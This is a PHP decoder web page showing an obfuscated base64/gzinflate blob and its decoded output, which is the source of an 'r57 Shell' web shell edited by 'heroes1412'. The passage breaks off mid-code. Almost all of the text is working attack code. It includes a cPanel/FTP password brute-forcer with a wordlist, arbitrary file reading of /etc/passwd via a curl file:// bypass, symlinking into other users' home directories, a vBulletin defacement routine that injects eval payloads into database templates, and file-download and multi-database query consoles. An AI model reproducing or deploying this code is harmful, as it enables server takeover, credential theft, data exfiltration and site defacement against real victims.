Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode(' FJ3HjuPKlkV/pWd9AQ7oHfDwLuhE7z0nDXrvRfv1rZxVFhJSMuLE3mt..

Decoded Output download

?><?php
$head = '<!-- Edited by heroes1412 -->
<html>
<head>
</script>
<title>o---[  r57 Shell ]---o &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o---[  heroes1412 ]---o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<STYLE>
body {
font-family: Tahoma
}
tr {
BORDER-RIGHT:  #Black 1px solid;
BORDER-TOP:    Black 1px solid;
BORDER-LEFT:   Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
td {
BORDER-RIGHT:  #Black 1px solid;
BORDER-TOP:    Black 1px solid;
BORDER-LEFT:   Black 1px solid;
BORDER-BOTTOM: #Black 1px solid;
BORDER-COLOR: #333333;
color: #999999;
}
.table1 {
BORDER: 0px;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
.td1 {
BORDER: 0px;
BORDER-COLOR: #333333;
font: 7pt Verdana;
color: #999999;
}
.tr1 {
BORDER: 0px;
BORDER-COLOR: #333333;
color: #999999;
}
table {
BORDER:  Black 1px outset;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
color: #999999;
}
input {
border			: solid 1px;
border-color		: #009900 #009900 #009900 #009900;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: #999999;
}
select {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #009900 1px solid;
BORDER-LEFT:   #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-color: #999999;
BACKGROUND-COLOR: Black;
font: 8pt Verdana;
color: Red;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND-COLOR: Black;
width: 30%;
color: #999999;
}
textarea {
BORDER-RIGHT:  Black 1px solid;
BORDER-TOP:    #009900 1px solid;
BORDER-LEFT:   #009900 1px solid;
BORDER-BOTTOM: Black 1px solid;
BORDER-COLOR: #333333;
BACKGROUND-COLOR: Black;
font: Fixedsys bold;
color: #999999;
}
BODY {
	SCROLLBAR-FACE-COLOR: Black; SCROLLBAR-HIGHLIGHT-color: #999999; SCROLLBAR-SHADOW-color: #999999; SCROLLBAR-3DLIGHT-color: #999999; SCROLLBAR-ARROW-COLOR: Black; SCROLLBAR-TRACK-color: #999999; SCROLLBAR-DARKSHADOW-color: #999999
margin: 1px;
color: Red;
background-color: Black;
}
.main {
margin			: -287px 0px 0px -490px;
border			: #009900 solid 1px;
BORDER-COLOR: #333333;
}
.tt {
background-color: Black;
}

A:link {
	COLOR: White; TEXT-DECORATION: none
}
A:visited {
	COLOR: White; TEXT-DECORATION: none
}
A:hover {
	color: Red; TEXT-DECORATION: none
}
A:active {
	color: Red; TEXT-DECORATION: none
}
</STYLE>
<script language=\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display = \'none\';
  document.cookie=id+\'=0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display = \'block\';
  document.cookie=id+\'=1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display == \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>';
if (isset($_GET['ln'])) {
$fp = fopen('users.txt','r');
$fr = fread($fp,filesize('users.txt'));
fclose($fp);
preg_match_all('/(.+?):x:(.+?)/',$fr,$explode);

foreach($explode[1] as $user) {
	
	system("ln -s /home/$user/public_html/ $user");
	
}

header("Location: ".$_SERVER['PHP_SELF']);
}

if (isset($_GET['brute'])) {
?>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">

</head>
<title> BruteForcer v1.0 </title>
<style>
body{margin:0px;font-style:normal;font-size:10px;color:#fff;font-family:Verdana,Arial;background-color:#000;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}
input,
.kbrtm,select{background:#303030;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}
button{background-color: #666666; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}
body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}
a:active { outline: none; }
a:focus { -moz-outline-style: none; }
table {
  border: 2px dashed #fff;
  background:#000;
  color: #fff;
  font-weight: bold;
  font-family:"Comic Sans MS";
  }
</style>
  <style type='text/css'>
  <!--
       A:link {text-decoration: none; color:#cccccc }
       A:visited {text-decoration: none; color:#cccccc }
       a:hover {text-decoration: none; color:Red}
  -->
</style>
<?php

@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
$heroes1412 = $_GET['heroes1412'];

if($target == ''){
$target = 'localhost';
}
?>
<?php
 print "<br><br><br><center><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='70%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td width='70%'>
<br><b><center>
<a href='?brute&heroes1412=bio'> About </a> - 
<a href='?brute&heroes1412=crack'> brute </a> - 
<a href='?brute&heroes1412=listuser1'> Get users </a> -  
<a href='?brute&heroes1412=bypass'> Bypass </a><br><br></center></td></tr></table>";
 
 if ( $heroes1412 == 'bio' ){
print 
"<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><br><b>###################################<br><font color=Red>/ BruteForcer v1.0 & PHP bypass/</font><br><font color=#FFCC00>/ [Edited] by heroes1412 /</font></b><br>###################################</center></center><br></td></tr></table>";
   exit();
 }
 
 elseif( $heroes1412 == 'crack'){
 
@ini_set('memory_limit', 1000000000000);
$connect_timeout=5;
@set_time_limit(0);
$submit = $_REQUEST['submit'];
$users = $_REQUEST['users'];
$pass = $_REQUEST['passwords'];
$target = $_REQUEST['target'];
$option = $_REQUEST['option'];
if($target == ''){
$target = 'localhost';
}
print " <div align='center'>

<form method='post' style='border: 1px solid #000000'><br><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1><tr><td>
<b> Target  : </font><input type='text' name='target' size='16' value= $target style='border: font-family:Verdana; font-weight:bold;'></p></font></b></p>
<div align='center'><br>
<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
<tr>
<td align='center'>
<b>Username</b></td>
<td>
<p align='center'>
<b>Password</b></td>
</tr>
</table>

<p align='center'>
<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$users</textarea>
<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>123pass
pass123
0123456
01234567
012345678
0123456789
01234567890
123456
1234567
12345678
123456789
1234567890
111111
000000
222222
333333
444444
555555
666666
777777
888888
999999
111111
000000
123123
456456
789789
123321
456654
654321
7654321
87654321
987654321
0987654321
admin123
123admin
admin123456
123456admin
1234554321
12344321
abcdef
abcabc
!@#!@#
!@#$%^
!@#$%^&*(
!@#$$#@!</textarea><br>
<br>                         
<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel 
<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='brute' name='submit' ></p>
</td></tr></table></td></tr></form><p align= 'left'>";
?>
<?php
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {

print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}

elseif ( curl_errno($ch) == 0 ){
if ($host == 'localhost') {
$link = "ftp://$user:$pass@".$_SERVER['SERVER_ADDR'];
} else {
$link = "ftp://$user:$pass@".$host;
}
print "<b><font color=Red> $user </font> | <font color=Red> $pass </font> [ <a href='$link'>$link</a> ]</b><br>";}curl_close($ch);}

function cpanel_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { 
print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
exit;}
elseif ( curl_errno($ch) == 0 ){
if ($host == 'localhost') {
$link = "http://$user:$pass@".$_SERVER['SERVER_ADDR'].":2082";
} else {
$link = "http://$user:$pass@".$host.":2082";
}
print "<b><font color=Red> $user </font> | <font color=Red> $pass </font> [ <a href='$link'>$link</a> ]</b><br>";}curl_close($ch);}

if(isset($submit) && !empty($submit)){

$userlist = explode ("
" , $users );
$passlist = explode ("
" , $pass );
print "<b>[ heroes1412: ]# Attacking ...</font></b><br><br>";
foreach ($userlist as $user) {
$_user = trim($user);
foreach ($passlist as $password ) {
$_pass = trim($password);
if($option == "ftp"){
ftp_check($target,$_user,$_pass,$connect_timeout);
}
if ($option == "cpanel")
{
cpanel_check($target,$_user,$_pass,$connect_timeout);
}
}
}
print "<br><b>[ heroes1412: ]# F!nish3d ...</font></b><br>";
}
exit();
}elseif ( $heroes1412 == 'listuser1'){
echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%'bgColor=#303030 borderColorLight=#666666 border=1><tr><td>";
echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="50" value="/etc/passwd"><input type="submit" name="hardstylez" value="grab !"></form>';
$file = $_POST['file'];
$level=0;
if(!file_exists("file:"))
    @mkdir("file:");
@chdir("file:");
$level++;

$hardstyle = @explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
    if(!empty($hardstyle[$a])){
        if(!file_exists($hardstyle[$a])) 
            @mkdir($hardstyle[$a]);
        @chdir($hardstyle[$a]);
        $level++;
    }
}
while($level--) chdir("..");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($ch);
echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";

if ($result == FALSE) 
{ die("Failed!"); 
} else { 
if (preg_match_all('/(.+?):x:(.+?)/',$result,$explode)) {
foreach($explode[1] as $user) {echo $user."
";}
} else { echo $result;}
}
echo ' </textarea> </FONT>';
curl_close($ch);
print '</table>';
exit();
}
elseif ( $heroes1412 == 'bypass'){echo "<br><br><TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%'bgColor=#303030 
borderColorLight=#966117 border=1><tr><td>";
echo '<p><form name="form" action="" method="post"><input type="text" name="file" size="100" value="'.htmlspecialchars($file).'">
<input type="submit" name="hardstylez" value="get !"></form>';
$file = $_POST['file'];
$level=0;
if(!file_exists("file:"))
    @mkdir("file:");
@chdir("file:");
$level++;

$hardstyle = @explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){
    if(!empty($hardstyle[$a])){
        if(!file_exists($hardstyle[$a])) 
            @mkdir($hardstyle[$a]);
        @chdir($hardstyle[$a]);
        $level++;
    }
}
while($level--) chdir("..");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
echo "<textarea rows='30' cols='120' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
if(FALSE==curl_exec($ch))
die('Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
echo ' </textarea> </FONT>';
curl_close($ch);
print '</table>';}
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
exit();

}
 
 

if(isset($_GET['deface'])) {echo $head; echo "
<title>Vbulletin Deface</title>
<style type='text/css'>
.style1 {
	color: #FFFFFF;
}
.style2 {
	font-family: Arial;
	color: #FFFFFF;
}
.style3 {
	text-align: center;
}
.style4 {
	font-family: Arial;
}
</style>

</head>

<center>
<h2 class='style1'>Vbulletin Deface</h2><div id=haberler align=left><form method=POST action=''>
<p align=center class='style1'>&nbsp;</p>	
	<div class='style3'>
		<span class='style2'>Host</span><font face='Arial' color='#ffffff'>:</font><span class='style1'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type=text name=dbh value=localhost size='15' ></span>

		  <font face='Arial' color='#ffffff'>&nbsp;Database Name:</font><span class='style1'><input type=text name=dbn size='15' ><br>
          Database User</span><font face='Arial' color='#ffffff'>:</font><span class='style1'><input type=text name=dbu size='15' ></span>

		<font face='Arial' color='#ffffff'>&nbsp;Database Pass:&nbsp; </font><span class='style1'><input type=text name=dbp size='16' ><br>
          </span>
          </div>
<center class='style1'>

		  <textarea name=index rows='5' cols='33' >echo 'heroes1412 was Here!';</textarea></center>
<center class='style1'><input type=submit value='Deface It!!!' ></form></center></center></body>
</center>
</html>";



$h4cker="[Edited] by heroes1412";


if (!empty($_POST['dbh']) && !empty($_POST['dbn']) && !empty($_POST['dbu']) && !empty($_POST['index']))
{
$dbh = $_POST['dbh'];
$dbn = $_POST['dbn'];
$dbu = $_POST['dbu'];
$dbp = $_POST['dbp'];

$index=str_replace("\'","'",$index);
$set_index  = "{\${eval(base64_decode(\'".base64_encode($index);
//$set_index .= base64_encode("eval ('$index');");
$set_index .= "\'))}}{\${exit()}}";

mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$fatal1 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='spacer_open'";
$fatal2 = "UPDATE template SET template='".$set_index."".$h4cker."' WHERE title='FORUMHOME'";
$fatal3 = "UPDATE style SET css='".$set_index."".$h4cker."', stylevars='', csscolors='', editorstyles=''";
$result = mysql_query($fatal1) or die (mysql_error());
$result2 = mysql_query($fatal2) or die (mysql_error());
$result3 = mysql_query($fatal3) or die (mysql_error());

if ($result && $result2 && $result3) {
echo "Okie";
}
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();}

$language='eng';
$auth = 0;
error_reporting(E_ALL);
$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
$downloaders = array('wget','fetch','lynx','links','curl','get');
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
define("starttime",getmicrotime()); 
$safe_mode = @ini_get('safe_mode');
$version = 'heroes1412 Edition';
$footer = '<div align=center><font face=Verdana size=-2><b>o---[  heroes1412 Shell ]---o</b></font></div>';



if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
if(@function_exists('ini_set'))
 {
 @ini_set('max_execution_time',0);
 @ini_set('output_buffering',0);
 }
else
 {
 @ini_alter('max_execution_time',0);
 @ini_alter('output_buffering',0);
 }






if(version_compare(phpversion(), '4.1.0') == -1)
 {
 $_POST   = &$HTTP_POST_VARS;
 $_GET    = &$HTTP_GET_VARS;
 $_SERVER = &$HTTP_SERVER_VARS;
 $_COOKIE = &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=>$v)
  {
  $_POST[$k] = stripslashes($v);
  }
 foreach ($_COOKIE as $k=>$v)
  {
  $_COOKIE[$k] = stripslashes($v);
  }
 }
function compress(&$filename,&$filedump,$compress)
 {
    global $content_encoding;
    global $mime_type;
    if ($compress == 'bzip' && @function_exists('bzcompress'))
     {
        $filename  .= '.bz2';
        $mime_type = 'application/x-bzip2';
        $filedump = bzcompress($filedump);
     }
     else if ($compress == 'gzip' && @function_exists('gzencode'))
     {
        $filename  .= '.gz';
        $content_encoding = 'x-gzip';
        $mime_type = 'application/x-gzip';
        $filedump = gzencode($filedump);
     }
     else if ($compress == 'zip' && @function_exists('gzcompress'))
     {
     	$filename .= '.zip';
        $mime_type = 'application/zip';
        $zipfile = new zipfile();
        $zipfile -> addFile($filedump, substr($filename, 0, -4));
        $filedump = $zipfile -> file();
     }
     else
     {
     	$mime_type = 'application/octet-stream';
     }
 }
class my_sql
 {
 var $host = 'localhost';
 var $port = '';
 var $user = '';
 var $pass = '';
 var $base = '';
 var $db   = '';
 var $connection;
 var $res;
 var $error;
 var $rows;
 var $columns;
 var $num_rows;
 var $num_fields;
 var $dump;

 function connect()
  {
  	switch($this->db)
     {
  	 case 'MySQL':
  	  if(empty($this->port)) { $this->port = '3306'; }
  	  if(!function_exists('mysql_connect')) return 0;
  	  $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
  	  if(is_resource($this->connection)) return 1;
  	 break;
     case 'MSSQL':
      if(empty($this->port)) { $this->port = '1433'; }
  	  if(!function_exists('mssql_connect')) return 0;
  	  $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
      if($this->connection) return 1;
     break;
     case 'PostgreSQL':
      if(empty($this->port)) { $this->port = '5432'; }
      $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
      if(!function_exists('pg_connect')) return 0;
      $this->connection = @pg_connect($str);
      if(is_resource($this->connection)) return 1;
     break;
     case 'Oracle':
      if(!function_exists('ocilogon')) return 0;
      $this->connection = @ocilogon($this->user, $this->pass, $this->base);
      if(is_resource($this->connection)) return 1;
     break;
     }
    return 0;
  }

 function select_db()
  {
   switch($this->db)
    {
  	case 'MySQL':
  	 if(@mysql_select_db($this->base,$this->connection)) return 1;
    break;
    case 'MSSQL':
  	 if(@mssql_select_db($this->base,$this->connection)) return 1;
    break;
    case 'PostgreSQL':
     return 1;
    break;
    case 'Oracle':
     return 1;
    break;
    }
   return 0;
  }

 function query($query)
  {
   $this->res=$this->error='';
   switch($this->db)
    {
  	case 'MySQL':
     if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
      {
      $this->error = @mysql_error($this->connection);
      return 0;
      }
     else if(is_resource($this->res)) { return 1; }
     return 2;
  	break;
    case 'MSSQL':
     if(false===($this->res=@mssql_query($query,$this->connection)))
      {
      $this->error = 'Query error';
      return 0;
      }
      else if(@mssql_num_rows($this->res) > 0) { return 1; }
     return 2;
    break;
    case 'PostgreSQL':
     if(false===($this->res=@pg_query($this->connection,$query)))
      {
      $this->error = @pg_last_error($this->connection);
      return 0;
      }
      else if(@pg_num_rows($this->res) > 0) { return 1; }
     return 2;
    break;
    case 'Oracle':
     if(false===($this->res=@ociparse($this->connection,$query)))
      {
      $this->error = 'Query parse error';
      }
     else
      {
      if(@ociexecute($this->res))
       {
       if(@ocirowcount($this->res) != 0) return 2;
       return 1;
       }
      $error = @ocierror();
      $this->error=$error['message'];
      }
    break;
    }
  return 0;
  }
 function get_result()
  {
   $this->rows=array();
   $this->columns=array();
   $this->num_rows=$this->num_fields=0;
   switch($this->db)
    {
  	case 'MySQL':
  	 $this->num_rows=@mysql_num_rows($this->res);
  	 $this->num_fields=@mysql_num_fields($this->res);
  	 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
  	 @mysql_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'MSSQL':
  	 $this->num_rows=@mssql_num_rows($this->res);
  	 $this->num_fields=@mssql_num_fields($this->res);
  	 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
  	 @mssql_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
    break;
    case 'PostgreSQL':
  	 $this->num_rows=@pg_num_rows($this->res);
  	 $this->num_fields=@pg_num_fields($this->res);
  	 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
  	 @pg_free_result($this->res);
  	 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    case 'Oracle':
     $this->num_fields=@ocinumcols($this->res);
     while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
     @ocifreestatement($this->res);
     if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
    break;
    }
   return 0;
  }
 function dump($table)
  {
   if(empty($table)) return 0;
   $this->dump=array();
   $this->dump[0] = '##';
   $this->dump[1] = '## --------------------------------------- ';
   $this->dump[2] = '##  Created: '.date ("d/m/Y H:i:s");
   $this->dump[3] = '## Database: '.$this->base;
   $this->dump[4] = '##    Table: '.$table;
   $this->dump[5] = '## --------------------------------------- ';
   switch($this->db)
    {
  	case 'MySQL':
  	 $this->dump[0] = '## MySQL dump';
  	 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 $this->dump[] = $this->rows[0]['Create Table'];
     $this->dump[] = '## --------------------------------------- ';
  	 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
  	  $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  	  }
    break;
    case 'MSSQL':
     $this->dump[0] = '## MSSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  	  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  	  }
    break;
    case 'PostgreSQL':
     $this->dump[0] = '## PostgreSQL dump';
     if($this->query('SELECT * FROM '.$table)!=1) return 0;
  	 if(!$this->get_result()) return 0;
  	 for($i=0;$i<$this->num_rows;$i++)
  	  {
      foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
  	  $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
  	  }
    break;
    case 'Oracle':
      $this->dump[0] = '## ORACLE dump';
      $this->dump[]  = '## under construction';
    break;
    default:
     return 0;
    break;
    }
   return 1;
  }
 function close()
  {
   switch($this->db)
    {
  	case 'MySQL':
  	 @mysql_close($this->connection);
    break;
    case 'MSSQL':
     @mssql_close($this->connection);
    break;
    case 'PostgreSQL':
     @pg_close($this->connection);
    break;
    case 'Oracle':
     @oci_close($this->connection);
    break;
    }
  }
 function affected_rows()
  {
   switch($this->db)
    {
  	case 'MySQL':
  	 return @mysql_affected_rows($this->res);
    break;
    case 'MSSQL':
     return @mssql_affected_rows($this->res);
    break;
    case 'PostgreSQL':
     return @pg_affected_rows($this->res);
    break;
    case 'Oracle':
     return @ocirowcount($this->res);
    break;
    default:
     return 0;
    break;
    }
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name']))
 {
  if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
  else
   {
    @ob_clean();
    $filename = @basename($_POST['d_name']);
    $filedump = @fread($file,@filesize($_POST['d_name']));
    fclose($file);
    $content_encoding=$mime_type='';
    compress($filename,$filedump,$_POST['compress']);
    if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
    header("Content-type: ".$mime_type);
    header("Content-disposition: attachment; filename=\"".$filename."\";");
    echo $filedump;
    exit();
   }
 }
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }


if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query")
 {
 echo $head;
 $sql = new my_sql();
 $sql->db   = $_POST['db'];
 $sql->host = $_POST['db_server'];
 $sql->port = $_POST['db_port'];
 $sql->user = $_POST['mysql_l'];
 $sql->pass = $_POST['mysql_p'];
 $sql->base = $_POST['mysql_db'];
 $querys = @explode(';',$_POST['db_query']);
 echo '<body bgcolor=Black>';
 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=#009900><b>Can't connect to SQL server</b></font></div>";
  else
   {
   if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=#009900><b>Can't select database</b></font></div>";
   else
    {
    foreach($querys as $num=>$query)
     {
      if(strlen($query)>5)
      {
      echo "<font face=Verdana size=-2 color=#009900><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
      switch($sql->query($query))
       {
       case '0':
       echo "<table width=100%><tr><td class=main><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
       break;
       case '1':
       if($sql->get_result())
        {
       	echo "<table width=100% border=0 cellpadding=0 cellspacing=0>";
        foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
       	$keys = @implode("&nbsp;</b></font></td><td class=main><font face=Verdana size=-2><b>&nbsp;", $sql->columns);
        echo "<tr><td class=main bgcolor=#333333><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>";
        for($i=0;$i<$sql->num_rows;$i++)
         {
         foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
         $values = @implode("&nbsp;</font></td><td class=main><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]);
         echo '<tr><td class=main><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>';
         }
        echo "</table>";
        }
       break;
       case '2':
       $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
       echo "<table width=100%><tr><td class=main><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
       break;
       }
      }
     }
    }
    echo "<br><div align=left id='n'><table width=100% height=60 border=0 cellpadding=0 cellspacing=0>";
    echo "<tr><td align=center><b>Show Database</b></td><td align=center><b>Show Tables</b></td></tr>";
    echo "<tr><td><textarea cols=50 rows=6 name=query_db>";
    $query_db = mysql_query("SHOW DATABASES;");
    while ($query_db_row = mysql_fetch_array($query_db))
    {
    	echo $query_db_row[0]."
";
    }
    echo "</textarea></td><td><div align=right><textarea cols=60 rows=6 name=query_tables>";
    if (($_POST['mysql_db']) && $sql->select_db())
    {
     $query_tables = mysql_query("SHOW TABLES;");
     while ($query_tables_row = mysql_fetch_array($query_tables))
     {
     	echo $query_tables_row[0]."
";
     }
    }
    echo "</textarea></div></td></tr></table></div>";
   }
 echo "<br><form name=form method=POST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=center>";
 echo "<font face=Verdana size=-2><b>Use database: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
